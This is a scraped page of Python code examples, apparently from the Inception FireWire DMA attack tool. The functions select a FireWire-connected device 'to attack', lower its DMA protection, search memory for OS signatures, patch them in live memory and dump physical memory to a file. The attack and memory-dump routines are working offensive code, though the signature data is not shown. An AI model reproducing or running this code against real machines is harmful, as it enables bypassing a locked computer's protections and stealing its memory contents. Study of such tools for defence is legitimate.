Ejemplo n.º 1
0
 def __init__(self):
     '''
     Constructor
     Initializes the bus and sets device, OUI variables
     '''
     self._bus = Bus()
     try:
         self._bus.enable_sbp2()
     except IOError:
         answer = input('[!] FireWire modules do not seem to be loaded. Load them? [Y/n]: ').lower()
         if answer in ['y', '']:
             status = call('modprobe firewire-ohci', shell=True)
             if status == 0:
                 try:
                     self._bus.enable_sbp2()
                 except IOError:
                     time.sleep(2) # Give some more time
                     self._bus.enable_sbp2() # If this fails, fail hard
                 msg('*', 'FireWire modules loaded successfully')
             else:
                 fail('Could not load FireWire modules')
         else:
             fail('FireWire modules not loaded')
             
     # Enable SBP-2 support to ensure we get DMA
     self._devices = self._bus.devices()
     self._oui = self.init_OUI()
     self._vendors = []
     self._max_request_size = settings.PAGESIZE
Ejemplo n.º 2
0
def printdetails(target): # TODO: Fix this method
    '''
    Prints details about a target
    '''
    msg('*', 'The target module contains the following signatures:')
    separator()
    print('\tVersions:\t' + ', '.join(target['versions']).rstrip(', '))
    print('\tArchitectures:\t' + ', '.join(target['architectures']).rstrip(', '))
    for signature in target['signatures']:
        offsets = '\n\t\tOffsets:\t'
        for offset in signature['offsets']:
            offsets += hex(offset)
            if not offset is signature['offsets'][-1]: offsets += ', '
        print(offsets)
        sig = '\t\tSignature:\t0x'
        ioffs = 0
        patch = 0
        poffs = 0
        for chunk in signature['chunks']:
            diff = chunk['internaloffset'] - bytelen(chunk['chunk']) - 1 - ioffs
            sig += '__' * diff
            ioffs = chunk['internaloffset']
            sig += '{0:x}'.format(chunk['chunk'])
            try:
                patch = chunk['patch']
                poffs = chunk['patchoffset']
            except KeyError: pass
        print(sig)
        print('\t\tPatch:\t\t{0:#x}'.format(patch))
        print('\t\tPatch offset:\t{0:#x}'.format(poffs))
        
    separator()
Ejemplo n.º 3
0
 def init_OUI(self, filename = settings.OUICONF):
     '''Populates the global OUI dictionary with mappings between 24 bit vendor
     identifier and a text string. Called during initialization. 
 
     Defaults to reading the value of module variable OUICONF.
     The file should have records like
     08-00-8D   (hex)                XYVISION INC.
 
     Feed it the standard IEEE public OUI file from
     http://standards.ieee.org/regauth/oui/oui.txt for a more up to date listing.
     '''
     OUI = {}
     try:
         f = open_file(filename, 'r')
         lines = f.readlines()
         f.close()
         regex = re.compile('(?P<id>([0-9a-fA-F]{2}-){2}[0-9a-fA-F]{2})\s+\(hex\)\s+(?P<name>.*)')
         for l in lines:
             rm = regex.match(l)
             if rm != None:
                 textid = rm.groupdict()['id']
                 ouiid = int('0x%s%s%s' % (textid[0:2], textid[3:5], textid[6:8]), 16)
                 OUI[ouiid] = rm.groupdict()['name']
     except IOError:
         msg('!', 'Vendor OUI lookups will not be performed: {0}'.format(filename))
     return OUI
Ejemplo n.º 4
0
def printdetails(target):  # TODO: Fix this method
    '''
    Prints details about a target
    '''
    msg('*', 'The target module contains the following signatures:')
    separator()
    print('\tVersions:\t' + ', '.join(target['versions']).rstrip(', '))
    print('\tArchitectures:\t' +
          ', '.join(target['architectures']).rstrip(', '))
    for signature in target['signatures']:
        offsets = '\n\t\tOffsets:\t'
        for offset in signature['offsets']:
            offsets += hex(offset)
            if not offset is signature['offsets'][-1]: offsets += ', '
        print(offsets)
        sig = '\t\tSignature:\t0x'
        ioffs = 0
        patch = 0
        poffs = 0
        for chunk in signature['chunks']:
            diff = chunk['internaloffset'] - bytelen(
                chunk['chunk']) - 1 - ioffs
            sig += '__' * diff
            ioffs = chunk['internaloffset']
            sig += '{0:x}'.format(chunk['chunk'])
            try:
                patch = chunk['patch']
                poffs = chunk['patchoffset']
            except KeyError:
                pass
        print(sig)
        print('\t\tPatch:\t\t{0:#x}'.format(patch))
        print('\t\tPatch offset:\t{0:#x}'.format(poffs))

    separator()
Ejemplo n.º 5
0
def list_targets(targets, details=False):
    msg('*', 'Available targets:')
    separator()
    for number, target in enumerate(targets, 1):
                msg(number, target['OS'] + ': ' + target['name'])
                if details:
                    printdetails(target)
    if not details: # Avoid duplicate separator
        separator()
Ejemplo n.º 6
0
 def select_device(self):
     '''
     Present the user of the option to select what device (connected to the
     bus) to attack
     '''
     if not self._vendors:
         self.businfo()
     nof_devices = len(self._vendors)
     if nof_devices == 1:
         msg('*', 'Only one device present, device auto-selected as target')
         return 0
     else:
         selected = input('[!] Please select a device to attack (or type \'q\' to quit): ')
         try:
             selected = int(selected)
         except:
             if selected == 'q': sys.exit()
             else:
                 msg('!', 'Invalid selection, please try again. Type \'q\' to quit')
                 return self.select_device()
     if 0 < selected <= nof_devices:
         i = selected - 1 
         vendor = self._vendors[i]
         # If the target is a Mac, and we are in memdump mode with the
         # --override switch set, make sure we don't touch OS X's g-spot
         if 'apple' in vendor.lower() and settings.memdump and settings.override:
             settings.apple_target = True
             msg('*', 'The target seems to be a Mac, forcing avoidance (not dumping {0:#x}-{1:#x})'.format(settings.apple_avoid[0], settings.apple_avoid[1]))
         return i
     else:
         msg('!', 'Please enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit')
         return self.select_device()
Ejemplo n.º 7
0
def dump(start, end, path):
    # Make sure that the right mode is set
    settings.memdump = True
    
    # Initialize and lower DMA shield
    if not settings.filemode:
        fw = FireWire()
        starttime = time.time()
        device_index = fw.select_device()
        # Print selection
        msg('*', 'Selected device: {0}'.format(fw.vendors[device_index]))

    # Lower DMA shield or use a file as input
    device = None
    if settings.filemode:
        device = MemoryFile(settings.filename, settings.PAGESIZE)
    else:
        elapsed = int(time.time() - starttime)
        device = fw.getdevice(device_index, elapsed)
        
    requestsize = settings.max_request_size
    size = end - start

    #filename =  'memdump_{0}-{1}.bin'.format(hex(start), hex(end))
    #path added for Pac4Mac
    filename =  path
    file = open(filename, 'wb')
    
    msg('*', 'Dumping from {0:#x} to {1:#x}, a total of {2} MiB'.format(start, end, size/settings.MiB))
    
    try:
        for i in range(start, end, requestsize):
            # Avoid accessing upper memory area if we are using FireWire
            if needtoavoid(i):
                data = b'\x00' * requestsize
            else: 
                data = device.read(i, requestsize)
            file.write(data)
            # Print status
            dumped = (i - start) // settings.MiB
            sys.stdout.write('[*] Dumping memory, {0:>4d} MiB so far'.format(dumped))
            if settings.verbose:
                sys.stdout.write('. Sample data read: {0}'.format(bytes2hexstr(data)[0:24]))
            sys.stdout.write('\r')
            sys.stdout.flush()
        file.close()
        print() # Filler
        msg('*', 'Dumped memory to file {0}'.format(filename))
        device.close()
    except KeyboardInterrupt:
        file.close()
        print()
        msg('*', 'Dumped memory to file {0}'.format(filename))
        raise KeyboardInterrupt
Ejemplo n.º 8
0
 def businfo(self):
     '''
     Prints all available information of the devices connected to the FireWire
     bus, looks up missing vendor names & populates the internal vendor
     list
     '''
     if not self._devices:
         fail('No FireWire devices detected on the bus')
     msg('*', 'FireWire devices on the bus (names may appear blank):')
     separator()
     for n, device in enumerate(self._devices, 1):
         vid = device.vendor_id
         vendorname = device.vendor_name.decode(settings.encoding)
         # Resolve if name not given by device vendor ID
         if not vendorname:
             vendorname = self.resolve_oui(vid) 
         self._vendors.append(vendorname)
         pid = device.product_id
         productname = device.product_name.decode(settings.encoding)
         msg(n, 'Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})'.format(vendorname, vid, productname, pid))
     separator()
Ejemplo n.º 9
0
def patch(device, address, chunks):
    '''
    Writes back to the device at address, using the patches in the signature
    chunks
    '''
    success = True
    for c in chunks:
        patch = c['patch']
        if not patch:
            continue
        ioffset = c['internaloffset']
        poffset = c['patchoffset']
        if not poffset: 
            poffset = 0
        realaddress = address + ioffset + poffset
        if patch:
            device.write(realaddress, patch)
            read = device.read(realaddress, len(patch))
            if settings.verbose:
                msg('*', 'Data read back: ' + bytes2hexstr(read))
            if  read != patch:
                success = False
    return success
Ejemplo n.º 10
0
def patch(device, address, chunks):
    '''
    Writes back to the device at address, using the patches in the signature
    chunks
    '''
    success = True
    for c in chunks:
        patch = c['patch']
        if not patch:
            continue
        ioffset = c['internaloffset']
        poffset = c['patchoffset']
        if not poffset:
            poffset = 0
        realaddress = address + ioffset + poffset
        if patch:
            device.write(realaddress, patch)
            read = device.read(realaddress, len(patch))
            if settings.verbose:
                msg('*', 'Data written: 0x' + bytes2hexstr(patch))
                msg('*', 'Data read:    0x' + bytes2hexstr(read))
            if read != patch:
                success = False
    return success
Ejemplo n.º 11
0
def select_target(targets, selected=False):
    '''
    Provides easy selection of targets. Input is a list of targets (dicts)
    '''
    if len(targets) == 1:
        msg('*', 'Only one target present, auto-selected')
        return targets[0]
    if not selected: selected = input('[!] Please select target (or enter \'q\' to quit): ')
    nof_targets = len(targets)
    try:
        selected = int(selected)
    except:
        if selected == 'q': sys.exit()
        else:
            msg('!', 'Invalid selection, please try again. Type \'q\' to quit')
            return select_target(targets)
    if 0 < selected <= nof_targets:
        return targets[selected - 1]
    else:
        msg('!', 'Please enter a selection between 1 and ' + str(nof_targets) + '. Type \'q\' to quit')
        return select_target(targets)
Ejemplo n.º 12
0
def select_target(targets, selected=False):
    '''
    Provides easy selection of targets. Input is a list of targets (dicts)
    '''
    if len(targets) == 1:
        msg('*', 'Only one target present, auto-selected')
        return targets[0]
    if not selected:
        selected = input('[!] Please select target (or enter \'q\' to quit): ')
    nof_targets = len(targets)
    try:
        selected = int(selected)
    except:
        if selected == 'q': sys.exit()
        else:
            msg('!', 'Invalid selection, please try again. Type \'q\' to quit')
            return select_target(targets)
    if 0 < selected <= nof_targets:
        return targets[selected - 1]
    else:
        msg(
            '!', 'Please enter a selection between 1 and ' + str(nof_targets) +
            '. Type \'q\' to quit')
        return select_target(targets)
Ejemplo n.º 13
0
def attack(targets):
    '''
    Main attack logic
    '''
    # Initialize and lower DMA shield
    if not settings.filemode:
        try:
            fw = FireWire()
        except IOError:
            fail('Could not initialize FireWire. Are the modules loaded into the kernel?')
        start = time.time()
        device_index = fw.select_device()
        # Print selection
        msg('*', 'Selected device: {0}'.format(fw.vendors[device_index]))

    # List targets
    list_targets(targets)
       
    # Select target
    target = select_target(targets)
    
    # Print selection. If verbose, print selection with signatures
    msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name'])
    if settings.verbose:
        printdetails(target)
    
    # Lower DMA shield or use a file as input, and set memsize
    device = None
    memsize = None
    if settings.filemode:
        device = MemoryFile(settings.filename, settings.PAGESIZE)
        memsize = os.path.getsize(settings.filename)
    else:
        elapsed = int(time.time() - start)
        device = fw.getdevice(device_index, elapsed)
        memsize = settings.memsize
    
    # Perform parallel search for all signatures for each OS at the known offsets
    msg('*', 'DMA shields should be down by now. Attacking...')
    address, chunks = searchanddestroy(device, target, memsize)
    if not address:
        # TODO: Fall-back sequential search?
        return None, None
    
    # Signature found, let's patch
    mask = 0xfffff000 # Mask away the lower bits to find the page number
    page = int((address & mask) / settings.PAGESIZE)
    msg('*', 'Signature found at {0:#x} (in page # {1})'.format(address, page))
    if not settings.dry_run:
        success = patch(device, address, chunks)
        if success:
            msg('*', 'Write-back verified; patching successful')
            if settings.egg:
                sound.play('data/inception.wav')
            msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!')
        else:
            msg('!', 'Write-back could not be verified; patching *may* have been unsuccessful')
    
    #Clean up
    device.close()
    
    return address, page
Ejemplo n.º 14
0
def attack(targets):
    '''
    Main attack logic
    '''
    # Initialize and lower DMA shield
    if not settings.filemode:
        try:
            fw = FireWire()
        except IOError:
            fail(
                'Could not initialize FireWire. Are the modules loaded into the kernel?'
            )
        start = time.time()
        device_index = fw.select_device()
        # Print selection
        msg('*', 'Selected device: {0}'.format(fw.vendors[device_index]))

    # List targets
    msg('*', 'Available targets:')
    separator()
    for number, target in enumerate(targets, 1):
        msg(number, target['OS'] + ': ' + target['name'])
    separator()

    # Select target
    target = select_target(targets)

    # Print selection. If verbose, print selection with signatures
    msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name'])
    if settings.verbose:
        printdetails(target)

    # Lower DMA shield or use a file as input, and set memsize
    device = None
    memsize = None
    if settings.filemode:
        device = MemoryFile(settings.filename, settings.PAGESIZE)
        memsize = os.path.getsize(settings.filename)
    else:
        elapsed = int(time.time() - start)
        device = fw.getdevice(device_index, elapsed)
        memsize = settings.memsize

    # Perform parallel search for all signatures for each OS at the known offsets
    msg('*', 'DMA shields down. Attacking...')
    address, chunks = searchanddestroy(device, target, memsize)
    if not address:
        # TODO: Fall-back sequential search?
        return None, None

    # Signature found, let's patch
    mask = 0xfffff000  # Mask away the lower bits to find the page number
    page = int((address & mask) / settings.PAGESIZE)
    msg('*', 'Signature found at {0:#x} (@page # {1})'.format(address, page))
    if not settings.dry_run:
        success = patch(device, address, chunks)
        if success:
            msg('*', 'Write-back verified; patching successful')
            msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!')
        else:
            msg(
                '!',
                'Write-back could not be verified; patching may have been unsuccessful.'
            )

    #Clean up
    device.close()

    return address, page